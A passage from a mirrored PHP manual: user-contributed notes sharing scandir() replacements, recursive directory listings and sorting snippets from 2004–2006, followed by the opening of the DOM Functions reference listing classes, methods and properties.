               if(!is_dir($file)) {
                   $files[] = $file;
               }
           }
           ($sortorder == 0) ? asort($files) : rsort($files); // arsort was replaced with rsort
           return $files;
       } else {
       return FALSE;
       break;
       }
   }
}
?>
elbekko at gmail dot com
08-Apr-2006 07:34
Scandir function for php 3 and up.

<?php
//
// Scandir for PHP4
//
if(!function_exists('scandir'))
{
   function scandir($dir, $sortorder = 0)
   {
       if(is_dir($dir))
       {
           $dirlist = opendir($dir);

           while( ($file = readdir($dirlist)) !== false)
           {
               if(!is_dir($file))
               {
                   $files[] = $file;
               }
           }

           ($sortorder == 0) ? asort($files) : arsort($files);

           return $files;
       }
       else
       {
       return FALSE;
       break;
       }
   }
}
?>
www.mdsjack.bo.it
08-Apr-2006 02:54
I would like to share a couple of functions I've made to get an Array of files of a certain extension inside a Directory.

<?php

// Firstly, a PHP 5 emulation

function php4_scandir($dir, $sort = 0)
{
   if (PHP_VERSION >= '5') return scandir($dir, $sort);

   $dirmap = array();

   if(!is_dir($dir))
   {
       trigger_error("lib::scandir($dir): failed to open dir: Invalid argument", E_USER_WARNING);
       return false;
   }

   $dir = opendir($dir);

   while (false !== ($file = readdir($dir)))
       $dirmap[] = $file;

   closedir($dir);

   ($sort == 1) ? rsort($dirmap) : sort($dirmap);

   return $dirmap;
}

/*
Then, this one converts directory files into array items.
It also can filter by file extension.
*/

function dir2arr($dir, $ext = null)
{
   $arr = array();

   if(PHP_VERSION >= '4.3.0')
   {
       # PHP 4.3.0 code
       if ($dir = glob("$dir*".(!$ext ? '.*' : '{'.$ext.', '.strtoupper($ext).'}'), GLOB_NOSORT + GLOB_BRACE))
           foreach ($dir as $file)
               $arr[] = preg_replace("#(?:.+\/{1})*([^\.]+)\.(.+)#i", '$1', $file);
   }
   else
   {
       # PHP 4.2.x code
       $dir = php4_scandir($dir); // See code snippet above
       if(!$ext) $ext = '\.[a-z]+';
       $pattern = "#([^\.|\.\.$]+)$ext#i";
       foreach ($dir as $file)
           if (preg_match($pattern, $file, $filename))
               $arr[] = $filename[1];
   }

   return (empty($arr) ? false : $arr);
}

?>
Bosmans Koen
24-Jan-2006 06:14
in addition to "brodseba at brodseba dot com" from march 2005:

Perfected the script to sort files and directories
in natural alphabetic order and with files listed first.
Also added a more relative directory path approach.
And changed the javascripting for links in simple ordinary href's.

Note that the script uses scandir from the pear package
(since I'm obliged to use an older PHP version).
<?
// scandir function is for php 5.0
require_once '\pear\PHP\Compat\Function\scandir.php';
// sorting function
// based on counting of dots
function cmp($a, $b) {
if ( substr_count($a,".") ==  substr_count($b,".") ) {
if ( is_string($a) && is_string($b) ) {
return strcasecmp($a, $b) > 0 ? 1 : -1;
}elseif ( is_int($a) && is_int($b) ) {
return $a > $b ? 1 : -1;
}elseif ( is_int($a) && is_string($b) ) {
return 1;
}elseif ( is_string($a) && is_int($b) ) {
return -1;
}else {
return 0;
}}
return substr_count($a,".") <  substr_count($b,".") ? 1 : -1;
}
function ls_recursive2($dir) {
if (is_dir($dir)) {
$files = scandir($dir);
// needed to sort array
usort ($files, "cmp");
foreach ($files as $file) {
$currentfile = $dir . "/" . $file;
$last_dir = "";
// calculate the identation.
$count = substr_count($currentfile, '/');
$minus_count = substr_count($_SERVER['SCRIPT_FILENAME'], '/');
$count -= ($minus_count +1);
for($p = 0; $p < $count; $p++) {
$last_dir .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}
// output with calculated identation
// first in case of directories
// run function again for directory
if (is_dir($currentfile)) {
if ($file != '.' && $file != '..') {
$sub_len = strlen(dirname($_SERVER['SCRIPT_FILENAME']))+1;
$java_targ = substr($currentfile, $sub_len);
$last_dir .= "&nbsp;&nbsp;<img src='folder.png'
alt='' align='middle' border='0'>&nbsp;
<a href=".$java_targ.">".$java_targ ."</a><br>\n";
echo $last_dir;
ls_recursive2($currentfile);
}
// if not a directory, then files in current directory
} else {
$sub_len = strlen(dirname($_SERVER['SCRIPT_FILENAME']))+1;
$java_targ = substr($currentfile, $sub_len);
$last_dir .= "<img src='file.png'
alt='' align='middle' border='0'>&nbsp;
<a href=".$java_targ.">".$java_targ."</a><br>\n";
echo $last_dir;
}}}}
?>
<?
$this = dirname($_SERVER['SCRIPT_FILENAME']);
echo $this."<br>\n";
ls_recursive2($this);
?>
**
ps: I can take a comment, even some criticism,
but do understand: I'm fairly new at this.
colabus at gmail dot com
09-Jan-2006 02:02
I made a small dir listing based on file modification date, could find alot on this myself so I hope this helps someone.

<?
   $dirView="./blah";
   $dirFiles=scandir($dirView);

   $cwdName=array(); $cwdMod=array(); $whatWeNeed=array();

   // Parallel arrays (ignore the ".", ".." and inturn hidden files
   foreach ($dirFiles as $data)
   {
       if (!preg_match('/^\./', $data))
       {
           $cwdName[]=$data;
           $cwdMod[]=filemtime($dirView."/".$data);
       }
   }

   // Merge and sort
   $mergeArray=array_combine($cwdMod, $cwdName);
   krsort($mergeArray, SORT_NUMERIC);

   // Build new array
   foreach ($mergeArray as $key => $value)
   {
       $whatWeNeed[]=$value;
   }

   // Some maintainence
   unset($dirFiles, $cwdName, $cwdMod, $mergeArray);

   # Then can grab latest changed file/folder with whatWeNeed[0] and so on..
?>

Tested with error_reporting(E_ALL); and PHP5.1
carlfredrik dot bowin at gmail dot com
05-Jan-2006 10:03
I made a function that scans the directory and all it subfolders. You can also sort them with folders first and files after, in alphabetic order. It works with both PHP 4 and 5.

<?php

function rec_scandir($dir)
{
   $files = array();
   if ( $handle = opendir($dir) ) {
       while ( ($file = readdir($handle)) !== false ) {
           if ( $file != ".." && $file != "." ) {
               if ( is_dir($dir . "/" . $file) ) {
                   $files[$file] = rec_scandir($dir . "/" . $file);
               }else {
                   $files[] = $file;
               }
           }
       }
       closedir($handle);
       return $files;
   }
}

function cmp($a, $b)
{
   if ( is_string($a) && is_string($b) ) {
       return strcmp($a, $b) > 0 ? 1 : -1;
   }elseif ( is_int($a) && is_int($b) ) {
       return $a > $b ? 1 : -1;
   }elseif ( is_int($a) && is_string($b) ) {
       return 1;
   }elseif ( is_string($a) && is_int($b) ) {
       return -1;
   }else {
       return 0;
   }
}

function array_ukmultisort(&$arr, $func) {
   uksort($arr, $func);
   while ( list($key, $val) = each($arr) ) {
       if ( is_array($val) ) {
           array_ukmultisort($arr[$key], $func);
       }
   }
}

$dir = rec_scandir(".");
array_ukmultisort($dir, "cmp");
echo "<pre>";
print_r($dir);
echo "</pre>";

?>
sk3391 at gmail dot com
07-Dec-2005 10:56
Here is a little script that i through together to count the files in my directory while excluding the "."  i hope it helps you out!

<?
$dir = ".";
$sort = 0;
   $dir_open = @ opendir($dir);

   while (($dir_content = readdir($dir_open)) !== false)
           $files[] = $dir_content;

   if ($sort == 1) {
       rsort($files, SORT_STRING);
} else {
       sort($files, SORT_STRING);
}
$a=0;
$b=10;
$file_s="";
while($a < $b) {

$c=1;
$d=5;

while($c < $d) {
$dot[$c.",".$a]=str_repeat(".", $c);
if($files[$a] == $dot[$c.",".$a]) {
unset($files[$a]);
} else {

}

$c++;

}

if($files[$a] != "") {
$brake[$a]="<br>";
} else {
$brake[$a]="";
}

$file_s.=$files[$a].$brake[$a];

$a++;

}
echo $file_s;

echo "<br><br><br>";

echo count($files);
?>
Yassin Ezbakhe <yassin88 at gmail dot com>
01-Sep-2005 07:18
/**********************************************
 *
 *  PURPOSE: List files inside the specified path and its
 *  subdirectories
 *
 *  array scandir_recursive (string dir)
 *
 *  This function will return a multidimensional array
 *  that represents main folder's tree structure.
 *  Each folder has its own named array
 *
 **********************************************/

function scandir_recursive($directory)
{
   $folderContents = array();
   $directory = realpath($directory).DIRECTORY_SEPARATOR;

   foreach (scandir($directory) as $folderItem)
   {
       if ($folderItem != "." AND $folderItem != "..")
       {
           if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
           {
               $folderContents[$folderItem] = scandir_recursive( $directory.$folderItem."\\");
           }
           else
           {
               $folderContents[] = $folderItem;
           }
       }
   }

   return $folderContents;
}
trevi55 at gmail dot com
08-Jul-2005 08:38
For non php5-users here you are this function...
It isn't set the wrapper, but I think it's enough :P.

If no pararameter is set, the scandir() function will scan the local file directory.

Set the optional parameter "$sort" to 1 to reverse the alphabetical-sorting.

<?
function scandir($dir = './', $sort = 0)
{

   $dir_open = @ opendir($dir);

   if (! $dir_open)
       return false;

   while (($dir_content = readdir($dir_open)) !== false)
           $files[] = $dir_content;

   if ($sort == 1)
       rsort($files, SORT_STRING);
   else
       sort($files, SORT_STRING);

   return $files;
}
?>
progrium+php at gmail dot com
01-Jul-2005 07:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
   $pathStack = array($rootPath);
   $contentsRoot = array();
   $contents = &$contentsRoot;
   while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
   }
   return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
   [index.php] => /usr/local/www/index.php
   [js] => Array
       (
           [async.js] => /usr/local/www/js/async.js
           [dom.js] => /usr/local/www/js/dom.js
           [effects.js] => /usr/local/www/js/effects.js
           [prototype.js] => /usr/local/www/js/prototype.js
       )

   [logo.png] => /usr/local/www/logo.png
   [server.php] => /usr/local/www/server.php
   [test.js] => /usr/local/www/test.js
)
welshwizard at gmail dot com
21-May-2005 10:37
Im wanting to when php executed for the script to scan for certain file extensions in a windows mapped out folder which is set as H:\ when a user logs on.

Will the php scan locally (the linux box) or will it work client side like i want?

thnks

Mat
pablo dot fabregat at gmail dot com
14-May-2005 05:46
i was triyng to do something similar to the ls -R command in linux, so, using the functions from csaba , i could, so, using this simple lines, you'll get that result:

<?php

$directory = "."; // for the actual directory
$directories = dirList($directory, 2, 0); // this calls the csaba's function dirlist, wich has type 2(files) and level 0($path and all subdirectories) as parameters. And it will return an array with all the returned paths

//so i cross all over the array doing an echo for every single item of the array
foreach ($directories as $dir){
   echo $dir."<br>";
}

?>

and that's it, remember that you need the functions listed above from csaba to use this
Pawel Dlugosz
12-May-2005 02:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
   [0] => -.jpg
   [1] => .
   [2] => ..
   [3] => foo.txt
   [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de
13-Apr-2005 03:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
   if ($filename != '.' && $filename != '..') {
     if (filemtime($folder.$filename) === false) return false;
     $dat = date("YmdHis", filemtime($folder.$filename));
     $arr[$dat] = $filename;
   }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
   [20040813231320] => DSC00023.JPG
   [20040813231456] => DSC00024.JPG
   [20040814003728] => MOV00055.MPG
   [20040814003804] => DSC00056.JPG
   [20040814003946] => DSC00057.JPG
   [20040814004030] => DSC00058.JPG
   [20040814014516] => DSC00083.JPG
   [20050401161718] => album.txt
)
brodseba at brodseba dot com
25-Mar-2005 12:53
This function create a HTML view of a directory.  It also look for subdirectory.  I use some icon to differ from folders or files.  It's also possible to get specific icon for specific file type.

Each entrey is clickable so you can use it to populate a form field.

Have fun!

function ls_recursive2($dir)
{
  if (is_dir($dir))
  {
   $files = scandir($dir);

   foreach ($files as $file)
   {
     $currentfile = $dir . "/" . $file;

     $last_dir = "";
     // Calculate they identation.
     $count = substr_count($currentfile, '/');
     $minus_count = substr_count($_SERVER['DOCUMENT_ROOT'], '/');
     $count -= ($minus_count + 2);

     for($p = 0; $p < $count; $p++)
     {
       $last_dir .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
     }

     if (is_dir($currentfile))
     {
       if ($file != '.' && $file != '..')
     {
       $last_dir .= "<img src='images/folder.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
         echo $last_dir;
         ls_recursive2($currentfile);
       }
     }
     else
     {
       $last_dir .= "<img src='images/file.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
       echo $last_dir;
     }
   }
  }
}
csaba at alum dot mit dot edu
05-Mar-2005 07:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

See my earlier entry for the definition of pathFilter(...)
Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu
04-Mar-2005 08:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;          // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)        // walk the filters
     if ($in==$not=($filter[0]=="-"))  //    testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
rich at jamsoft dot biz
09-Feb-2005 11:33
Ok, in my previous example, you need to do the SORT after you remove the "." and ".." entries from the array.  Otherwise, you cannot start using the array at 0.

Here is corrected code:

<?php

function scandir($dir, $no_dots=FALSE) {

   $files = array();
   $dh  = @opendir($dir);
   if ($dh!=FALSE) {
       while (false !== ($filename = readdir($dh))) {
           $files[] = $filename;
       }

       if ($no_dots) {
           while(($ix = array_search('.',$files)) > -1)
                   unset($files[$ix]);
           while(($ix = array_search('..',$files)) > -1)
                   unset($files[$ix]);
       }

       sort($files);

   }
   return $files;
}

?>
virtual at NOSPAM dot lapinbleu dot ch
09-Feb-2005 09:58
Since I needed to scan dirs and subdirs and wanted to have files and dirs not in the same var without having to explode it, I did this little function:

<?php

function scan_Dir($directory=NULL)
{
$temp = "";
if ($directory==NULL)
{
       $directory = getcwd();
}
$handle = opendir($directory);
while (false !== ($filename = readdir($handle)))
{
       if (($filename!=".") AND ($filename!=".."))
       {
               if (is_dir($directory."/".$filename))
               {
                       $old_directory = $directory;
                       $directory .= "/".$filename;
                       $temp = scan_Dir($directory);

                       $cpt = 0;
                       while ($cpt<count($temp["filename"]))
                       {
                               $arrfiles["path"][]      = $directory."/".$temp["filename"][$cpt];
                               $arrfiles["directory"][] = $directory;
                               $arrfiles["filename"][]  = $temp["filename"][$cpt];
                               $cpt++;
                       }
                       $directory = $old_directory;
               }
               else
               {
                       $arrfiles["path"][]      = $directory."/".$filename;
                       $arrfiles["directory"][] = $directory;
                       $arrfiles["filename"][]  = $filename;
               }
       }
}
return $arrfiles;
}
?>

This one seems to work properly and use multidimensional array.

To show your files, just use:
<?php

$dir2scan = "admin";
$yourvar = scan_Dir($dir2scan);

echo $yourvar["path"][0]."<br>"; //Complete path of the file with key 0 (dir + filename)

echo $yourvar["directory"][0]."<br>"; //Directory of the file with key 0

echo $yourvar["filename"][0]."<br>"; //Filename of the file with key 0

?>

Note that the parameter of the function is not necessary. If you don't give any, it will scan from the returned value of getcwd() function.
skatecrazy1 at digibase dot ca
25-Nov-2004 02:25
Scandir can be used to make directories of files not unlike apache's indexes, but CSS enabled and fully customizable:

<?
//in this example, we'll say the directory is "images"
$list = scandir("images");
$i = 0;
$num = count($list);
while($i < $num){
print "<a href=\"images/$list[$i]\">$list[$i]</a><br />";
$i++;
}
?>

That will print all the files in the "images" directory linked to the files.
Stan P. van de Burgt
27-Oct-2004 12:05
scandir() with regexp matching on file name and sorting options based on stat().

function myscandir($dir, $exp, $how='name', $desc=0)
{
   $r = array();
   $dh = @opendir($dir);
   if ($dh) {
       while (($fname = readdir($dh)) !== false) {
           if (preg_match($exp, $fname)) {
               $stat = stat("$dir/$fname");
               $r[$fname] = ($how == 'name')? $fname: $stat[$how];
           }
       }
       closedir($dh);
       if ($desc) {
           arsort($r);
       }
       else {
           asort($r);
       }
   }
   return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev    device number
ino    inode number
mode    inode protection mode
nlink  number of links
uid    userid of owner
gid    groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime  time of last access (Unix timestamp)
mtime  time of last modification (Unix timestamp)
ctime  time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated
aidan at php dot net
21-May-2004 10:14
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
rewinddir | 上一级 | DOM Functions


DOM Functions

PHP 手册
后退 前进

XXIX. DOM Functions

简介

The DOM extension is the replacement for the DOM XML extension from PHP 4. The extension still contains many old functions, but they should no longer be used. In particular, functions that are not object-oriented should be avoided.

The extension allows you to operate on an XML document with the DOM API.

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

预定义类

The API of the module follows the DOM Level 2 standard as closely as possible. Consequently, the API is fully object-oriented. It is a good idea to have the DOM standard available when using this module.

This module defines a number of classes, which are explained in the following tables. Classes with an equivalent in the DOM standard are named DOMxxx.

DOMAttr

Extends DOMNode. The DOMAttr interface represents an attribute in an DOMElement object.

构造函数

  • DOMAttr->__construct() - construct a new DOMAttr object

方法

  • DOMAttr->isId() - Checks if attribute is a defined ID

属性

表格 1.

Name | Type | Read-only | Description
name | string | yes | The name of the attribute
ownerElement | DOMElement | yes | The element which contains the attribute
schemaTypeInfo | bool | yes | Not implemented yet, always return NULL
specified | bool | yes | Not implemented yet, always return NULL
value | string | no | The value of the attribute

DOMCharacterData

Extends DOMNode.

方法

  • DOMCharacterData->appendData() - Append a string to the end of the character data of the node

  • DOMCharacterData->deleteData() - Remove a range of characters from the node

  • DOMCharacterData->insertData() - Insert a string at the specified 16-bit unit offset

  • DOMCharacterData->replaceData() - Replace a substring within the DOMCharacterData node

  • DOMCharacterData->substringData() - Extracts a range of data from the node

属性

表格 2.

Name | Type | Read-only | Description
data | string | no | The contents of the node
length | int | yes | The length of the contents

DOMComment

Extends DOMCharacterData.

构造函数

  • DOMComment->__construct() - construct a new DOMComment object

DOMDocument

Extends DOMNode.

构造函数

  • DOMDocument->__construct() - construct a new DOMDocument object

方法

  • DOMDocument->createAttribute() - Create new attribute

  • DOMDocument->createAttributeNS() - Create new attribute node with an associated namespace

  • DOMDocument->createCDATASection() - Create new cdata node

  • DOMDocument->createComment() - Create new comment node

  • DOMDocument->createDocumentFragment() - Create new document fragment

  • DOMDocument->createElement() - Create new element node

  • DOMDocument->createElementNS() - Create new element node with an associated namespace

  • DOMDocument->createEntityReference() - Create new entity reference node

  • DOMDocument->createProcessingInstruction() - Creates new PI node

  • DOMDocument->createTextNode() - Create new text node

  • DOMDocument->getElementById() - Searches for an element with a certain id

  • DOMDocument->getElementsByTagName() - Searches for all elements with given tag name

  • DOMDocument->getElementsByTagNameNS() - Searches for all elements with given tag name in specified namespace

  • DOMDocument->importNode() - Import node into current document

  • DOMDocument->load() - Load XML from a file

  • DOMDocument->loadHTML() - Load HTML from a string

  • DOMDocument->loadHTMLFile() - Load HTML from a file

  • DOMDocument->loadXML() - Load XML from a string

  • DOMDocument->normalize() - Normalizes document

  • DOMDocument->relaxNGValidate() - Performs relaxNG validation on the document

  • DOMDocument->relaxNGValidateSource() - Performs relaxNG validation on the document

  • DOMDocument->save() - Dumps the internal XML tree back into a file

  • DOMDocument->saveHTML() - Dumps the internal document into a string using HTML formatting

  • DOMDocument->saveHTMLFile() - Dumps the internal document back into a file using HTML formatting

  • DOMDocument->saveXML() - Dumps the internal XML tree back into a string

  • DOMDocument->schemaValidate() - Validates a document based on a schema

  • DOMDocument->schemaValidateSource() - Validates a document based on a schema

  • DOMDocument->validate() - Validates the document based on its DTD

  • DOMDocument->xinclude() - Substitutes XIncludes in a DOMDocument Object

属性

表格 3.

Name | Type | Read-only | Description
actualEncoding | string | yes |
config | DOMConfiguration | yes |
doctype | DOMDocumentType | yes | The Document Type Declaration associated with this document.
documentElement | DOMElement | yes | This is a convenience attribute that allows direct access to the child node that is the document element of the document.
documentURI | string | no | The location of the document or NULL if undefined.
encoding | string | no |
formatOutput | bool | no |
implementation | DOMImplementation | yes | The DOMImplementation object that handles this document.
preserveWhiteSpace | bool | no | Do not remove redundant white space. Default to TRUE.
recover | bool | no |
resolveExternals | bool | no | Set it to TRUE to load external entities from a doctype declaration. This is useful for including character entities in your XML document.
standalone | bool | no |
strictErrorChecking | bool | no | Throws DOMException on errors. Default to TRUE.
substituteEntities | bool | no |
validateOnParse | bool | no | Loads and validates against the DTD. Default to FALSE.
version | string | no |
xmlEncoding | string | yes | An attribute specifying, as part of the XML declaration, the encoding of this document. This is NULL when unspecified or when it is not known, such as when the Document was created in memory.
xmlStandalone | bool | no | An attribute specifying, as part of the XML declaration, whether this document is standalone. This is FALSE when unspecified.
xmlVersion | string | no | An attribute specifying, as part of the XML declaration, the version number of this document. If there is no declaration and if this document supports the "XML" feature, the value is "1.0".

DOMDocumentType

Extends DOMNode

Each DOMDocument has a doctype attribute whose value is either NULL or a DOMDocumentType object.

属性

表格 4.

Name | Type | Read-only | Description
publicId | string | yes | The public identifier of the external subset.
systemId | string | yes | The system identifier of the external subset. This may be an absolute URI or not.
name | string | yes | The name of DTD; i.e., the name immediately following the DOCTYPE keyword.
entities | DOMNamedNodeMap | yes | A DOMNamedNodeMap containing the general entities, both external and internal, declared in the DTD.
notations | DOMNamedNodeMap | yes | A DOMNamedNodeMap containing the notations declared in the DTD.
internalSubset | string | yes | The internal subset as a string, or null if there is none. This is does not contain the delimiting square brackets.

DOMElement

Extends DOMNode.

构造函数

  • DOMElement->__construct() - construct a new DOMElement object

方法

  • DOMElement->getAttribute() - Returns value of attribute

  • DOMElement->getAttributeNode() - Returns attribute node

  • DOMElement->getAttributeNodeNS() - Returns attribute node

  • DOMElement->getAttributeNS() - Returns value of attribute

  • DOMElement->getElementsByTagName() - Gets elements by tagname

  • DOMElement->getElementsByTagNameNS() - Get elements by namespaceURI and localName

  • DOMElement->hasAttribute() - Checks to see if attribute exists

  • DOMElement->hasAttributeNS() - Checks to see if attribute exists

  • DOMElement->removeAttribute() - Removes attribute

  • DOMElement->removeAttributeNode() - Removes attribute

  • DOMElement->removeAttributeNS() - Removes attribute

  • DOMElement->setAttribute() - Adds new attribute

  • DOMElement->setAttributeNode() - Adds new attribute node to element

  • DOMElement->setAttributeNodeNS() - Adds new attribute node to element

  • DOMElement->setAttributeNS() - Adds new attribute

属性

表格 5.

Name | Type | Read-only | Description
schemaTypeInfo | bool | yes | Not implemented yet, always return NULL
tagName | string | yes | The element name

DOMEntity

Extends DOMNode

This interface represents a known entity, either parsed or unparsed, in an XML document.

属性

表格 6.

Name | Type | Read-only | Description
publicId | string | yes | The public identifier associated with the entity if specified, and NULL otherwise.
systemId | string | yes | The system identifier associated with the entity if specified, and NULL otherwise. This may be an absolute URI or not.
notationName | string | yes | For unparsed entities, the name of the notation for the entity. For parsed entities, this is NULL.
actualEncoding | string | no | An attribute specifying the encoding used for this entity at the time of parsing, when it is an external parsed entity. This is NULL if it an entity from the internal subset or if it is not known.
encoding | string | yes | An attribute specifying, as part of the text declaration, the encoding of this entity, when it is an external parsed entity. This is NULL otherwise.
version | string | yes | An attribute specifying, as part of the text declaration, the version number of this entity, when it is an external parsed entity. This is NULL otherwise.

DOMEntityReference

Extends DOMNode.

构造函数

  • DOMAttr->__construct() - construct a new DOMEntityReference object

DOMException

DOM operations raise exceptions under particular circumstances, i.e., when an operation is impossible to perform for logical reasons.

See also 20 章.

属性

表格 7.

Name | Type | Read-only | Description
code | int | yes | An integer indicating the type of error generated

DOMImplementation

The DOMImplementation interface provides a number of methods for performing operations that are independent of any particular instance of the document object model.

构造函数

  • DOMImplementation->__construct() - construct a new DOMImplementation object

方法

  • DOMImplementation->createDocument() - Creates a DOM Document object of the specified type with its document element

  • DOMImplementation->createDocumentType() - Creates an empty DOMDocumentType object

  • DOMImplementation->hasFeature() - Test if the DOM implementation implements a specific feature

DOMNode

方法

  • DOMNode->appendChild() - Adds new child at the end of the children

  • DOMNode->cloneNode() - Clones a node

  • DOMNode->hasAttributes() - Checks if node has attributes

  • DOMNode->hasChildNodes() - Checks if node has children

  • DOMNode->insertBefore() - Adds a new child before a reference node

  • DOMNode->isSameNode() - Indicates if two nodes are the same node

  • DOMNode->isSupported() - Checks if feature is supported for specified version

  • DOMNode->lookupNamespaceURI() - Returns namespace URI of the node based on the prefix

  • DOMNode->lookupPrefix() - Returns name space prefix of the node based on namespaceURI

  • DOMNode->normalize() - Normalizes the node

  • DOMNode->removeChild() - Removes child from list of children

  • DOMNode->replaceChild() - Replaces a child

属性

表格 8.

Name | Type | Read-only | Description
nodeName | string | yes | Returns the more accurate name for the current node type
nodeValue | string | no | The value of this node, depending on its type.
nodeType | int | yes | Gets the type of the node. One of the predefined XML_xxx_NODE constants
parentNode | DOMNode | yes | The parent of this node.
childNodes | DOMNodeList | yes | A DOMNodeList that contains all children of this node. If there are no children, this is an empty DOMNodeList.
firstChild | DOMNode | yes | The first child of this node. If there is no such node, this returns NULL.
lastChild | DOMNode | yes | The last child of this node. If there is no such node, this returns NULL.
previousSibling | DOMNode | yes | The node immediately preceding this node. If there is no such node, this returns NULL.
nextSibling | DOMNode | yes | The node immediately following this node. If there is no such node, this returns NULL.
attributes | DOMNamedNodeMap | yes | A DOMNamedNodeMap containing the attributes of this node (if it is a DOMElement) or NULL otherwise.
ownerDocument | DOMDocument | yes | The DOMDocument object associated with this node.
namespaceURI | string | yes | The namespace URI of this node, or NULL if it is unspecified.
prefix | string | no | The namespace prefix of this node, or NULL if it is unspecified.
localName | string | yes | Returns the local part of the qualified name of this node.
baseURI | string | yes | The absolute base URI of this node or NULL if the implementation wasn't able to obtain an absolute URI.
textContent | string | no | This attribute returns the text content of this node and its descendants.

DOMNodeList

方法

